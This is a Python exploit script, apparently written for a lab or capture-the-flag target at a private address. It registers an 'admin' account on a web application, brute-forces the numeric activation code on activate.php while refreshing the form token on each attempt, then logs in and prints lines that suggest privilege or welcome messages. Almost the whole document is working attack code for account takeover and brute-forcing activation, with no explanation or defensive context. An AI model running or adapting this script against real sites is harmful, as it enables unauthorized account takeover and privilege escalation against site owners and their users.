#!/usr/bin/env python3
import re
import time

import requests


IP = "192.168.1.112"
HOST = "token.dsz"
USERNAME = "admin"
PASSWORD = "admin123"
ADMIN_UID = "37"
MIN_CODE = 0
MAX_CODE = 999


def extract_user_id(body):
    patterns = [
        r'1\.2em;">\s*(\d+)',
        r'id=(\d+)',
        r'用户ID[:：\s]+(\d+)',
        r'UID[:：\s]+(\d+)',
    ]
    for pattern in patterns:
        match = re.search(pattern, body, re.I)
        if match:
            return match.group(1)
    return None


def extract_token(body):
    match = re.search(r'name="token" value="([^"]+)"', body)
    return match.group(1) if match else None


def main():
    headers = {"Host": HOST}
    session = requests.Session()

    print(f"[*] Registering {USERNAME}/{PASSWORD}...")
    register = session.post(
        f"http://{IP}/register.php",
        headers=headers,
        data={"user": USERNAME, "pass": PASSWORD, "reg": ""},
        timeout=8,
    )

    uid = extract_user_id(register.text) or ADMIN_UID
    print(f"[*] Using admin UID: {uid}")

    print(f"[*] Brute forcing activation code {MIN_CODE:06d}-{MAX_CODE:06d}...")
    activated = False
    for i in range(MIN_CODE, MAX_CODE + 1):
        code = f"{i:06d}"
        activate_page = session.get(
            f"http://{IP}/activate.php?id={uid}",
            headers=headers,
            timeout=8,
        )
        token = extract_token(activate_page.text)
        if not token:
            if i == 0:
                print("[-] Could not find activation token.")
                print(activate_page.text[:400])
            continue

        response = session.post(
            f"http://{IP}/activate.php",
            headers=headers,
            data={"id": uid, "token": token, "code": code, "activate": ""},
            timeout=8,
        )

        if "激活成功" in response.text or "msg-box success" in response.text:
            print(f"[+] Admin activated with code: {code}")
            activated = True
            break

        if i % 100 == 0:
            print(f"  tried {code}...")

    if not activated:
        print(f"[-] Activation code not found in {MIN_CODE:06d}-{MAX_CODE:06d}.")
        return 1

    print("[*] Logging in as admin...")
    login = session.post(
        f"http://{IP}/index.php",
        headers=headers,
        data={"user": USERNAME, "pass": PASSWORD, "login": ""},
        timeout=8,
    )
    print(f"[+] Login response: HTTP {login.status_code}, {len(login.text)} bytes")
    for line in login.text.splitlines():
        line = line.strip()
        if any(keyword in line.lower() for keyword in ["权限", "admin", "role", "欢迎"]):
            print(f"  >> {line[:180]}")

    return 0


if __name__ == "__main__":
    raise SystemExit(main())